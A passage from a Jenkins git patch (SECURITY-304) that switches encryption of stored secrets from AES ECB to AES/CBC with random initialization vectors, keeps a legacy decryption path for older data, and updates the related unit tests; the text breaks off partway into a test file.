Jenkins.getInstance().checkPermission(Jenkins.ADMINISTER); this.username = username; this.password = Secret.fromString(password); save(); -- GitLab From e6aa166246d1734f4798a9e31f78842f4c85c28b Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Wed, 18 Jan 2017 13:21:54 -0500 Subject: [PATCH 729/811] Merge pull request #105 from jenkinsci-cert/SECURITY-304-t3 [SECURITY-304] Encrypt new secrets with CBC and random IV instead of ECB --- core/src/main/java/hudson/model/Item.java | 2 +- .../java/hudson/util/HistoricalSecrets.java | 84 ++++++++++ core/src/main/java/hudson/util/Secret.java | 147 +++++++++++------- .../main/java/hudson/util/SecretRewriter.java | 4 +- .../security/CryptoConfidentialKey.java | 88 ++++++++++- .../hudson/util/SecretRewriterTest.groovy | 33 ++-- .../test/groovy/hudson/util/SecretTest.groovy | 27 +++- .../java/hudson/util/SecretCompatTest.java | 121 ++++++++++++++ .../security/RekeySecretAdminMonitorTest.java | 10 +- test/src/test/java/lib/form/PasswordTest.java | 27 +++- .../canReadPreSec304Secrets/config.xml | 34 ++++ .../jobs/OldSecret/config.xml | 27 ++++ .../secrets/hudson.util.Secret | Bin 0 -> 272 bytes .../secrets/master.key | 1 + 14 files changed, 517 insertions(+), 88 deletions(-) create mode 100644 core/src/main/java/hudson/util/HistoricalSecrets.java create mode 100644 test/src/test/java/hudson/util/SecretCompatTest.java create mode 100644 test/src/test/resources/hudson/util/SecretCompatTest/canReadPreSec304Secrets/config.xml create mode 100644 test/src/test/resources/hudson/util/SecretCompatTest/canReadPreSec304Secrets/jobs/OldSecret/config.xml create mode 100644 test/src/test/resources/hudson/util/SecretCompatTest/canReadPreSec304Secrets/secrets/hudson.util.Secret create mode 100644 test/src/test/resources/hudson/util/SecretCompatTest/canReadPreSec304Secrets/secrets/master.key diff --git a/core/src/main/java/hudson/model/Item.java b/core/src/main/java/hudson/model/Item.java index 834cf97b48..7c2aeba5e2 100644 --- a/core/src/main/java/hudson/model/Item.java +++ b/core/src/main/java/hudson/model/Item.java @@ -229,7 +229,7 @@ public interface Item extends PersistenceRoot, SearchableModelObject, AccessCont Permission DISCOVER = new Permission(PERMISSIONS, "Discover", Messages._AbstractProject_DiscoverPermission_Description(), READ, PermissionScope.ITEM); /** * Ability to view configuration details. - * If the user lacks {@link CONFIGURE} then any {@link Secret}s must be masked out, even in encrypted form. + * If the user lacks {@link #CONFIGURE} then any {@link Secret}s must be masked out, even in encrypted form. * @see Secret#ENCRYPTED_VALUE_PATTERN */ Permission EXTENDED_READ = new Permission(PERMISSIONS,"ExtendedRead", Messages._AbstractProject_ExtendedReadPermission_Description(), CONFIGURE, Boolean.getBoolean("hudson.security.ExtendedReadPermission"), new PermissionScope[]{PermissionScope.ITEM}); diff --git a/core/src/main/java/hudson/util/HistoricalSecrets.java b/core/src/main/java/hudson/util/HistoricalSecrets.java new file mode 100644 index 0000000000..37a6fa39e1 --- /dev/null +++ b/core/src/main/java/hudson/util/HistoricalSecrets.java @@ -0,0 +1,84 @@ +/* + * The MIT License + * + * Copyright (c) 2004-2010, Sun Microsystems, Inc., Kohsuke Kawaguchi + * Copyright (c) 2016, CloudBees Inc. + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +package hudson.util; + +import com.trilead.ssh2.crypto.Base64; +import hudson.Util; +import jenkins.model.Jenkins; +import jenkins.security.CryptoConfidentialKey; +import org.kohsuke.accmod.Restricted; +import org.kohsuke.accmod.restrictions.NoExternalUse; + +import javax.crypto.Cipher; +import javax.crypto.SecretKey; +import java.io.IOException; +import java.security.GeneralSecurityException; + +import static java.nio.charset.StandardCharsets.UTF_8; + +/** + * Historical algorithms for decrypting {@link Secret}s. + */ +@Restricted(NoExternalUse.class) +public class HistoricalSecrets { + + /*package*/ static Secret decrypt(String data, CryptoConfidentialKey key) throws IOException, GeneralSecurityException { + byte[] in = Base64.decode(data.toCharArray()); + Secret s = tryDecrypt(key.decrypt(), in); + if (s!=null) return s; + + // try our historical key for backward compatibility + Cipher cipher = Secret.getCipher("AES"); + cipher.init(Cipher.DECRYPT_MODE, getLegacyKey()); + return tryDecrypt(cipher, in); + } + + /*package*/ static Secret tryDecrypt(Cipher cipher, byte[] in) { + try { + String plainText = new String(cipher.doFinal(in), UTF_8); + if(plainText.endsWith(MAGIC)) + return new Secret(plainText.substring(0,plainText.length()-MAGIC.length())); + return null; + } catch (GeneralSecurityException e) { + return null; // if the key doesn't match with the bytes, it can result in BadPaddingException + } + } + + /** + * Turns {@link Jenkins#getSecretKey()} into an AES key. + * + * @deprecated + * This is no longer the key we use to encrypt new information, but we still need this + * to be able to decrypt what's already persisted. + */ + @Deprecated + /*package*/ static SecretKey getLegacyKey() throws GeneralSecurityException { + String secret = Secret.SECRET; + if(secret==null) return Jenkins.getInstance().getSecretKeyAsAES128(); + return Util.toAes128Key(secret); + } + + private static final String MAGIC = "::::MAGIC::::"; +} diff --git a/core/src/main/java/hudson/util/Secret.java b/core/src/main/java/hudson/util/Secret.java index 9a4dcb750a..0ea02d7d47 100644 --- a/core/src/main/java/hudson/util/Secret.java +++ b/core/src/main/java/hudson/util/Secret.java @@ -2,6 +2,7 @@ * The MIT License * * Copyright (c) 2004-2010, Sun Microsystems, Inc., Kohsuke Kawaguchi + * Copyright (c) 2016, CloudBees Inc. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal @@ -29,12 +30,12 @@ import com.thoughtworks.xstream.converters.UnmarshallingContext; import com.thoughtworks.xstream.io.HierarchicalStreamReader; import com.thoughtworks.xstream.io.HierarchicalStreamWriter; import com.trilead.ssh2.crypto.Base64; +import java.util.Arrays; import jenkins.model.Jenkins; import hudson.Util; import jenkins.security.CryptoConfidentialKey; import org.kohsuke.stapler.Stapler; -import javax.crypto.SecretKey; import javax.crypto.Cipher; import java.io.Serializable; import java.io.UnsupportedEncodingException; @@ -44,6 +45,8 @@ import java.util.regex.Pattern; import org.kohsuke.accmod.Restricted; import org.kohsuke.accmod.restrictions.NoExternalUse; +import static java.nio.charset.StandardCharsets.UTF_8; + /** * Glorified {@link String} that uses encryption in the persisted form, to avoid accidental exposure of a secret. * @@ -58,13 +61,20 @@ import org.kohsuke.accmod.restrictions.NoExternalUse; * @author Kohsuke Kawaguchi */ public final class Secret implements Serializable { + private static final byte PAYLOAD_V1 = 1; /** * Unencrypted secret text. */ private final String value; + private byte[] iv; + + /*package*/ Secret(String value) { + this.value = value; + } - private Secret(String value) { + /*package*/ Secret(String value, byte[] iv) { this.value = value; + this.iv = iv; } /** @@ -100,20 +110,6 @@ public final class Secret implements Serializable { return value.hashCode(); } - /** - * Turns {@link Jenkins#getSecretKey()} into an AES key. - * - * @deprecated - * This is no longer the key we use to encrypt new information, but we still need this - * to be able to decrypt what's already persisted. - */ - @Deprecated - /*package*/ static SecretKey getLegacyKey() throws GeneralSecurityException { - String secret = SECRET; - if(secret==null) return Jenkins.getInstance().getSecretKeyAsAES128(); - return Util.toAes128Key(secret); - } - /** * Encrypts {@link #value} and returns it in an encoded printable form. * @@ -121,56 +117,95 @@ public final class Secret implements Serializable { */ public String getEncryptedValue() { try { - Cipher cipher = KEY.encrypt(); - // add the magic suffix which works like a check sum. - return new String(Base64.encode(cipher.doFinal((value+MAGIC).getBytes("UTF-8")))); + synchronized (this) { + if (iv == null) { //if we were created from plain text or other reason without iv + iv = KEY.newIv(); + } + } + Cipher cipher = KEY.encrypt(iv); + byte[] encrypted = cipher.doFinal(this.value.getBytes(UTF_8)); + byte[] payload = new byte[1 + 8 + iv.length + encrypted.length]; + int pos = 0; + // For PAYLOAD_V1 we use this byte shifting model, V2 probably will need DataOutput + payload[pos++] = PAYLOAD_V1; + payload[pos++] = (byte)(iv.length >> 24); + payload[pos++] = (byte)(iv.length >> 16); + payload[pos++] = (byte)(iv.length >> 8); + payload[pos++] = (byte)(iv.length); + payload[pos++] = (byte)(encrypted.length >> 24); + payload[pos++] = (byte)(encrypted.length >> 16); + payload[pos++] = (byte)(encrypted.length >> 8); + payload[pos++] = (byte)(encrypted.length); + System.arraycopy(iv, 0, payload, pos, iv.length); + pos+=iv.length; + System.arraycopy(encrypted, 0, payload, pos, encrypted.length); + return "{"+new String(Base64.encode(payload))+"}"; } catch (GeneralSecurityException e) { throw new Error(e); // impossible - } catch (UnsupportedEncodingException e) { - throw new Error(e); // impossible } } /** - * Pattern matching a possible output of {@link #getEncryptedValue}. - * Basically, any Base64-encoded value. - * You must then call {@link #decrypt} to eliminate false positives. + * Pattern matching a possible output of {@link #getEncryptedValue} + * Basically, any Base64-encoded value optionally wrapped by {@code {}}. + * You must then call {@link #decrypt(String)} to eliminate false positives. + * @see #ENCRYPTED_VALUE_PATTERN */ @Restricted(NoExternalUse.class) - public static final Pattern ENCRYPTED_VALUE_PATTERN = Pattern.compile("[A-Za-z0-9+/]+={0,2}"); + public static final Pattern ENCRYPTED_VALUE_PATTERN = Pattern.compile("\\{?[A-Za-z0-9+/]+={0,2}}?"); /** * Reverse operation of {@link #getEncryptedValue()}. Returns null * if the given cipher text was invalid. */ public static Secret decrypt(String data) { - if(data==null) return null; - try { - byte[] in = Base64.decode(data.toCharArray()); - Secret s = tryDecrypt(KEY.decrypt(), in); - if (s!=null) return s; + if (data == null) return null; - // try our historical key for backward compatibility - Cipher cipher = getCipher("AES"); - cipher.init(Cipher.DECRYPT_MODE, getLegacyKey()); - return tryDecrypt(cipher, in); - } catch (GeneralSecurityException e) { - return null; - } catch (UnsupportedEncodingException e) { - throw new Error(e); // impossible - } catch (IOException e) { - return null; - } - } - - /*package*/ static Secret tryDecrypt(Cipher cipher, byte[] in) throws UnsupportedEncodingException { - try { - String plainText = new String(cipher.doFinal(in), "UTF-8"); - if(plainText.endsWith(MAGIC)) - return new Secret(plainText.substring(0,plainText.length()-MAGIC.length())); - return null; - } catch (GeneralSecurityException e) { - return null; // if the key doesn't match with the bytes, it can result in BadPaddingException + if (data.startsWith("{") && data.endsWith("}")) { //likely CBC encrypted/containing metadata but could be plain text + byte[] payload; + try { + payload = Base64.decode(data.substring(1, data.length()-1).toCharArray()); + } catch (IOException e) { + return null; + } + switch (payload[0]) { + case PAYLOAD_V1: + // For PAYLOAD_V1 we use this byte shifting model, V2 probably will need DataOutput + int ivLength = ((payload[1] & 0xff) << 24) + | ((payload[2] & 0xff) << 16) + | ((payload[3] & 0xff) << 8) + | (payload[4] & 0xff); + int dataLength = ((payload[5] & 0xff) << 24) + | ((payload[6] & 0xff) << 16) + | ((payload[7] & 0xff) << 8) + | (payload[8] & 0xff); + if (payload.length != 1 + 8 + ivLength + dataLength) { + // not valid v1 + return null; + } + byte[] iv = Arrays.copyOfRange(payload, 9, 9 + ivLength); + byte[] code = Arrays.copyOfRange(payload, 9+ivLength, payload.length); + String text; + try { + text = new String(KEY.decrypt(iv).doFinal(code), UTF_8); + } catch (GeneralSecurityException e) { + // it's v1 which cannot be historical, but not decrypting + return null; + } + return new Secret(text, iv); + default: + return null; + } + } else { + try { + return HistoricalSecrets.decrypt(data, KEY); + } catch (GeneralSecurityException e) { + return null; + } catch (UnsupportedEncodingException e) { + throw new Error(e); // impossible + } catch (IOException e) { + return null; + } } } @@ -228,8 +263,6 @@ public final class Secret implements Serializable { } } - private static final String MAGIC = "::::MAGIC::::"; - /** * Workaround for JENKINS-6459 / http://java.net/jira/browse/GLASSFISH-11862 * @see #getCipher(String) @@ -246,6 +279,14 @@ public final class Secret implements Serializable { */ private static final CryptoConfidentialKey KEY = new CryptoConfidentialKey(Secret.class.getName()); + /** + * Reset the internal secret key for testing. + */ + @Restricted(NoExternalUse.class) + /*package*/ static void resetKeyForTest() { + KEY.resetForTest(); + } + private static final long serialVersionUID = 1L; static { diff --git a/core/src/main/java/hudson/util/SecretRewriter.java b/core/src/main/java/hudson/util/SecretRewriter.java index 6350adf0f3..8b8a574e6a 100644 --- a/core/src/main/java/hudson/util/SecretRewriter.java +++ b/core/src/main/java/hudson/util/SecretRewriter.java @@ -40,7 +40,7 @@ public class SecretRewriter { public SecretRewriter() throws GeneralSecurityException { cipher = Secret.getCipher("AES"); - key = Secret.getLegacyKey(); + key = HistoricalSecrets.getLegacyKey(); } /** @deprecated SECURITY-376: {@code backupDirectory} is ignored */ @@ -62,7 +62,7 @@ public class SecretRewriter { return s; // not a valid base64 } cipher.init(Cipher.DECRYPT_MODE, key); - Secret sec = Secret.tryDecrypt(cipher, in); + Secret sec = HistoricalSecrets.tryDecrypt(cipher, in); if(sec!=null) // matched return sec.getEncryptedValue(); // replace by the new encrypted value else // not encrypted with the legacy key. leave it unmodified diff --git a/core/src/main/java/jenkins/security/CryptoConfidentialKey.java b/core/src/main/java/jenkins/security/CryptoConfidentialKey.java index dd1dad9e37..f402706013 100644 --- a/core/src/main/java/jenkins/security/CryptoConfidentialKey.java +++ b/core/src/main/java/jenkins/security/CryptoConfidentialKey.java @@ -1,9 +1,15 @@ package jenkins.security; +import hudson.Main; import hudson.util.Secret; +import jenkins.model.Jenkins; +import org.kohsuke.accmod.Restricted; +import org.kohsuke.accmod.restrictions.DoNotUse; +import org.kohsuke.accmod.restrictions.NoExternalUse; import javax.crypto.Cipher; import javax.crypto.SecretKey; +import javax.crypto.spec.IvParameterSpec; import javax.crypto.spec.SecretKeySpec; import java.io.IOException; import java.security.GeneralSecurityException; @@ -15,6 +21,9 @@ import java.security.GeneralSecurityException; * @since 1.498 */ public class CryptoConfidentialKey extends ConfidentialKey { + @Restricted(NoExternalUse.class) //TODO remove when in mainline + public static final int DEFAULT_IV_LENGTH = 16; + private volatile SecretKey secret; public CryptoConfidentialKey(String id) { super(id); @@ -35,7 +44,7 @@ public class CryptoConfidentialKey extends ConfidentialKey { store(payload); } // Due to the stupid US export restriction JDK only ships 128bit version. - secret = new SecretKeySpec(payload,0,128/8, ALGORITHM); + secret = new SecretKeySpec(payload,0,128/8, KEY_ALGORITHM); } } } @@ -47,10 +56,12 @@ public class CryptoConfidentialKey extends ConfidentialKey { /** * Returns a {@link Cipher} object for encrypting with this key. + * @deprecated use {@link #encrypt(byte[])} */ + @Deprecated public Cipher encrypt() { try { - Cipher cipher = Secret.getCipher(ALGORITHM); + Cipher cipher = Secret.getCipher(KEY_ALGORITHM); cipher.init(Cipher.ENCRYPT_MODE, getKey()); return cipher; } catch (GeneralSecurityException e) { @@ -58,12 +69,68 @@ public class CryptoConfidentialKey extends ConfidentialKey { } } + /** + * Returns a {@link Cipher} object for encrypting with this key using the provided initialization vector. + * @param iv the initialization vector + * @return the cipher + */ + @Restricted(NoExternalUse.class) //TODO remove when in mainline + public Cipher encrypt(byte[] iv) { + try { + Cipher cipher = Secret.getCipher(ALGORITHM); + cipher.init(Cipher.ENCRYPT_MODE, getKey(), new IvParameterSpec(iv)); + return cipher; + } catch (GeneralSecurityException e) { + throw new AssertionError(e); + } + } + + /** + * Returns a {@link Cipher} object for decrypting with this key using the provided initialization vector. + * @param iv the initialization vector + * @return the cipher + */ + @Restricted(NoExternalUse.class) //TODO remove when in mainline + public Cipher decrypt(byte[] iv) { + try { + Cipher cipher = Secret.getCipher(ALGORITHM); + cipher.init(Cipher.DECRYPT_MODE, getKey(), new IvParameterSpec(iv)); + return cipher; + } catch (GeneralSecurityException e) { + throw new AssertionError(e); + } + } + + /** + * Generates a new Initialization Vector. + * @param length the length of the salt + * @return some random bytes + * @see #encrypt(byte[]) + */ + @Restricted(NoExternalUse.class) //TODO remove when in mainline + public byte[] newIv(int length) { + return ConfidentialStore.get().randomBytes(length); + } + + /** + * Generates a new Initialization Vector of default length. + * @return some random bytes + * @see #newIv(int) + * @see #encrypt(byte[]) + */ + @Restricted(NoExternalUse.class) //TODO remove when in mainline + public byte[] newIv() { + return newIv(DEFAULT_IV_LENGTH); + } + /** * Returns a {@link Cipher} object for decrypting with this key. + * @deprecated use {@link #decrypt(byte[])} */ + @Deprecated public Cipher decrypt() { try { - Cipher cipher = Secret.getCipher(ALGORITHM); + Cipher cipher = Secret.getCipher(KEY_ALGORITHM); cipher.init(Cipher.DECRYPT_MODE, getKey()); return cipher; } catch (GeneralSecurityException e) { @@ -72,5 +139,18 @@ public class CryptoConfidentialKey extends ConfidentialKey { } - private static final String ALGORITHM = "AES"; + private static final String KEY_ALGORITHM = "AES"; + private static final String ALGORITHM = "AES/CBC/PKCS5Padding"; + + /** + * Reset the internal secret key for testing. + */ + @Restricted(NoExternalUse.class) + public void resetForTest() { + if (Main.isUnitTest) { + this.secret = null; + } else { + throw new IllegalStateException("Only for testing"); + } + } } diff --git a/core/src/test/groovy/hudson/util/SecretRewriterTest.groovy b/core/src/test/groovy/hudson/util/SecretRewriterTest.groovy index f198bdd8a3..b748703ac1 100644 --- a/core/src/test/groovy/hudson/util/SecretRewriterTest.groovy +++ b/core/src/test/groovy/hudson/util/SecretRewriterTest.groovy @@ -23,42 +23,49 @@ class SecretRewriterTest { @Rule public TemporaryFolder tmp = new TemporaryFolder() + def FOO_PATTERN = /\{[A-Za-z0-9+\/]+={0,2}}<\/foo>/ + def MSG_PATTERN = /\{[A-Za-z0-9+\/]+={0,2}}<\/msg>/ + def FOO_PATTERN2 = /(\{[A-Za-z0-9+\/]+={0,2}}<\/foo>){2}/ + def ABC_FOO_PATTERN = /\s\{[A-Za-z0-9+\/]+={0,2}}<\/foo>\s<\/abc>/ + @Test void singleFileRewrite() { def o = encryptOld('foobar') // old def n = encryptNew('foobar') // new roundtrip "${o}", - "${n}" + {assert it ==~ FOO_PATTERN} + roundtrip "${o}${o}", - "${n}${n}" + {assert it ==~ FOO_PATTERN2} roundtrip "${n}", - "${n}" + {assert it == "${n}"} roundtrip " thisIsLegalBase64AndLongEnoughThatItCouldLookLikeSecret ", - " thisIsLegalBase64AndLongEnoughThatItCouldLookLikeSecret " + {assert it == "thisIsLegalBase64AndLongEnoughThatItCouldLookLikeSecret"} // to be rewritten, it needs to be between a tag - roundtrip "$o", "$o" - roundtrip "$o", "$o" + roundtrip "$o", {assert it == "$o"} + roundtrip "$o", {assert it == "$o"} // - roundtrip "\n$o\n", "\n$n\n" + roundtrip "\n$o\n", {assert it ==~ ABC_FOO_PATTERN} } - void roundtrip(String before, String after) { + void roundtrip(String before, Closure check) { def sr = new SecretRewriter(null); def f = File.createTempFile("test", "xml", tmp.root) f.text = before sr.rewrite(f,null) - assert after.replaceAll(System.getProperty("line.separator"), "\n").trim()==f.text.replaceAll(System.getProperty("line.separator"), "\n").trim() + check(f.text.replaceAll(System.getProperty("line.separator"), "\n").trim()) + //assert after.replaceAll(System.getProperty("line.separator"), "\n").trim()==f.text.replaceAll(System.getProperty("line.separator"), "\n").trim() } String encryptOld(str) { def cipher = Secret.getCipher("AES"); - cipher.init(Cipher.ENCRYPT_MODE, Secret.legacyKey); - return new String(Base64.encode(cipher.doFinal((str + Secret.MAGIC).getBytes("UTF-8")))) + cipher.init(Cipher.ENCRYPT_MODE, HistoricalSecrets.legacyKey); + return new String(Base64.encode(cipher.doFinal((str + HistoricalSecrets.MAGIC).getBytes("UTF-8")))) } String encryptNew(str) { @@ -99,11 +106,11 @@ class SecretRewriterTest { assert 6==sw.rewriteRecursive(t, st) dirs.each { p-> - assert new File(t,"$p/foo.xml").text.trim()==answer + assert new File(t,"$p/foo.xml").text.trim() ==~ MSG_PATTERN } // t2 is only reachable by following a symlink. this should be covered, too - assert new File(t2,"foo.xml").text.trim()==answer.trim(); + assert new File(t2,"foo.xml").text.trim() ==~ MSG_PATTERN } } diff --git a/core/src/test/groovy/hudson/util/SecretTest.groovy b/core/src/test/groovy/hudson/util/SecretTest.groovy index f7a0ba3ad0..8f39ae7ec0 100644 --- a/core/src/test/groovy/hudson/util/SecretTest.groovy +++ b/core/src/test/groovy/hudson/util/SecretTest.groovy @@ -31,7 +31,8 @@ import org.junit.Rule import org.junit.Test import java.util.Random; -import javax.crypto.Cipher; +import javax.crypto.Cipher +import java.util.regex.Pattern; /** * @author Kohsuke Kawaguchi @@ -43,6 +44,8 @@ public class SecretTest { @Rule public MockSecretRule mockSecretRule = new MockSecretRule() + static final Pattern ENCRYPTED_VALUE_PATTERN = Pattern.compile("\\{?[A-Za-z0-9+/]+={0,2}}?"); + @Test void testEncrypt() { def secret = Secret.fromString("abc"); @@ -54,6 +57,11 @@ public class SecretTest { // can we round trip? assert secret==Secret.fromString(secret.encryptedValue); + + //Two consecutive encryption requests of the same object should result in the same encrypted value - SECURITY-304 + assert secret.encryptedValue == secret.encryptedValue + //Two consecutive encryption requests of different objects with the same value should not result in the same encrypted value - SECURITY-304 + assert secret.encryptedValue != Secret.fromString(secret.plainText).encryptedValue } @Test @@ -62,9 +70,16 @@ public class SecretTest { String plaintext = RandomStringUtils.random(new Random().nextInt(i)); String ciphertext = Secret.fromString(plaintext).getEncryptedValue(); //println "${plaintext} → ${ciphertext}" - assert Secret.ENCRYPTED_VALUE_PATTERN.matcher(ciphertext).matches(); + assert ENCRYPTED_VALUE_PATTERN.matcher(ciphertext).matches(); } - assert !Secret.ENCRYPTED_VALUE_PATTERN.matcher("hello world").matches(); + //Not "plain" text + assert !ENCRYPTED_VALUE_PATTERN.matcher("hello world").matches(); + //Not "plain" text + assert !ENCRYPTED_VALUE_PATTERN.matcher("helloworld!").matches(); + //legacy key + assert ENCRYPTED_VALUE_PATTERN.matcher("abcdefghijklmnopqr0123456789").matches(); + //legacy key + assert ENCRYPTED_VALUE_PATTERN.matcher("abcdefghijklmnopqr012345678==").matches(); } @Test @@ -77,7 +92,7 @@ public class SecretTest { def s = Secret.fromString("Mr.Jenkins"); def xml = Jenkins.XSTREAM.toXML(s); assert !xml.contains(s.plainText) - assert xml.contains(s.encryptedValue) + assert xml ==~ /\{[A-Za-z0-9+\/]+={0,2}}<\/hudson\.util\.Secret>/ def o = Jenkins.XSTREAM.fromXML(xml); assert o==s : xml; @@ -104,11 +119,11 @@ public class SecretTest { */ @Test void migrationFromLegacyKeyToConfidentialStore() { - def legacy = Secret.legacyKey + def legacy = HistoricalSecrets.legacyKey ["Hello world","","\u0000unprintable"].each { str -> def cipher = Secret.getCipher("AES"); cipher.init(Cipher.ENCRYPT_MODE, legacy); - def old = new String(Base64.encode(cipher.doFinal((str + Secret.MAGIC).getBytes("UTF-8")))) + def old = new String(Base64.encode(cipher.doFinal((str + HistoricalSecrets.MAGIC).getBytes("UTF-8")))) def s = Secret.fromString(old) assert s.plainText==str : "secret by the old key should decrypt" assert s.encryptedValue!=old : "but when encrypting, ConfidentialKey should be in use" diff --git a/test/src/test/java/hudson/util/SecretCompatTest.java b/test/src/test/java/hudson/util/SecretCompatTest.java new file mode 100644 index 0000000000..8c440c4ff9 --- /dev/null +++ b/test/src/test/java/hudson/util/SecretCompatTest.java @@ -0,0 +1,121 @@ +/* + * The MIT License + * + * Copyright (c) 2004-2010, Sun Microsystems, Inc., Kohsuke Kawaguchi + * Copyright (c) 2016, CloudBees Inc. + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +package hudson.util; + +import hudson.model.FreeStyleProject; +import hudson.model.ParameterDefinition; +import hudson.model.ParametersDefinitionProperty; +import hudson.model.PasswordParameterDefinition; +import org.hamcrest.core.Is; +import org.junit.After; +import org.junit.Before; +import org.junit.Rule; +import org.junit.Test; +import org.jvnet.hudson.test.Issue; +import org.jvnet.hudson.test.JenkinsRule; +import org.jvnet.hudson.test.recipes.LocalData; + +import java.io.IOException; +import java.util.regex.Pattern; + +import static org.hamcrest.core.Is.isA; +import static org.hamcrest.core.IsNot.not; +import static org.hamcrest.core.StringContains.containsString; +import static org.junit.Assert.*; + +/** + * Tests {@link Secret}. + */ +public class SecretCompatTest { + + @Rule + public JenkinsRule j = new JenkinsRule() { + @Override + public void before() throws Throwable { + Secret.resetKeyForTest(); //As early as possible + super.before(); + } + }; + + @After + public void after() { + Secret.resetKeyForTest(); + } + + + @Test + @Issue("SECURITY-304") + public void encryptedValueStaysTheSameAfterRoundtrip() throws Exception { + FreeStyleProject project = j.createFreeStyleProject(); + project.addProperty(new ParametersDefinitionProperty(new PasswordParameterDefinition("p", "s3cr37", "Keep this a secret"))); + project = j.configRoundtrip(project); + String round1 = project.getConfigFile().asString(); + project = j.configRoundtrip(project); + String round2 = project.getConfigFile().asString(); + assertEquals(round1, round2); + + + //But reconfiguring will make it a new value + project = j.jenkins.getItemByFullName(project.getFullName(), FreeStyleProject.class); + project.removeProperty(ParametersDefinitionProperty.class); + project.addProperty(new ParametersDefinitionProperty(new PasswordParameterDefinition("p", "s3cr37", "Keep this a secret"))); + project = j.configRoundtrip(project); + String round3 = project.getConfigFile().asString(); + assertNotEquals(round2, round3); + //Saving again will produce the same + project = j.configRoundtrip(project); + String round4 = project.getConfigFile().asString(); + assertEquals(round3, round4); + } + + @Test + @Issue("SECURITY-304") + @LocalData + public void canReadPreSec304Secrets() throws Exception { + FreeStyleProject project = j.jenkins.getItemByFullName("OldSecret", FreeStyleProject.class); + String oldxml = project.getConfigFile().asString(); + //It should be unchanged on disk + assertThat(oldxml, containsString("z/Dd3qrHdQ6/C5lR7uEafM/jD3nQDrGprw3XsfZ/0vo=")); + ParametersDefinitionProperty property = project.getProperty(ParametersDefinitionProperty.class); + ParameterDefinition definition = property.getParameterDefinitions().get(0); + assertTrue(definition instanceof PasswordParameterDefinition); + Secret secret = ((PasswordParameterDefinition) definition).getDefaultValueAsSecret(); + assertEquals("theSecret", secret.getPlainText()); + + //OK it was read correctly from disk, now the first roundtrip should update the encrypted value + + project = j.configRoundtrip(project); + String newXml = project.getConfigFile().asString(); + assertNotEquals(oldxml, newXml); //This could have changed because Jenkins has moved on, so not really a good check + assertThat(newXml, not(containsString("z/Dd3qrHdQ6/C5lR7uEafM/jD3nQDrGprw3XsfZ/0vo="))); + Pattern p = Pattern.compile("\\{[A-Za-z0-9+/]+={0,2}}"); + assertTrue(p.matcher(newXml).find()); + + //But the next roundtrip should result in the same data + project = j.configRoundtrip(project); + String round2 = project.getConfigFile().asString(); + assertEquals(newXml, round2); + } +} diff --git a/test/src/test/java/jenkins/security/RekeySecretAdminMonitorTest.java b/test/src/test/java/jenkins/security/RekeySecretAdminMonitorTest.java index ea7a08ba45..413b4a6eed 100644 --- a/test/src/test/java/jenkins/security/RekeySecretAdminMonitorTest.java +++ b/test/src/test/java/jenkins/security/RekeySecretAdminMonitorTest.java @@ -11,6 +11,7 @@ import hudson.Util; import hudson.util.Secret; import hudson.util.SecretHelper; import org.apache.commons.io.FileUtils; +import org.hamcrest.CoreMatchers; import org.jvnet.hudson.test.HudsonTestCase; import org.jvnet.hudson.test.recipes.Recipe.Runner; import org.xml.sax.SAXException; @@ -20,6 +21,9 @@ import javax.inject.Inject; import java.io.File; import java.io.IOException; import java.lang.annotation.Annotation; +import java.util.regex.Pattern; + +import static org.junit.Assert.assertThat; /** * @author Kohsuke Kawaguchi @@ -28,6 +32,8 @@ public class RekeySecretAdminMonitorTest extends HudsonTestCase { @Inject RekeySecretAdminMonitor monitor; + final String plain_regex_match = ".*\\{[A-Za-z0-9+/]+={0,2}}.*"; + @Override protected void setUp() throws Exception { SecretHelper.set(TEST_KEY); @@ -76,8 +82,8 @@ public class RekeySecretAdminMonitorTest extends HudsonTestCase { private void verifyRewrite(File dir) throws Exception { File xml = new File(dir, "foo.xml"); - assertEquals("" + encryptNew(TEST_KEY) + "".trim(), - FileUtils.readFileToString(xml).trim()); + Pattern pattern = Pattern.compile(""+plain_regex_match+""); + assertTrue(pattern.matcher(FileUtils.readFileToString(xml).trim()).matches()); } // TODO sometimes fails: "Invalid request submission: {json=[Ljava.lang.String;@2c46358e, .crumb=[Ljava.lang.String;@35661457}" diff --git a/test/src/test/java/lib/form/PasswordTest.java b/test/src/test/java/lib/form/PasswordTest.java index 595b0e7e85..0a9f5eb149 100644 --- a/test/src/test/java/lib/form/PasswordTest.java +++ b/test/src/test/java/lib/form/PasswordTest.java @@ 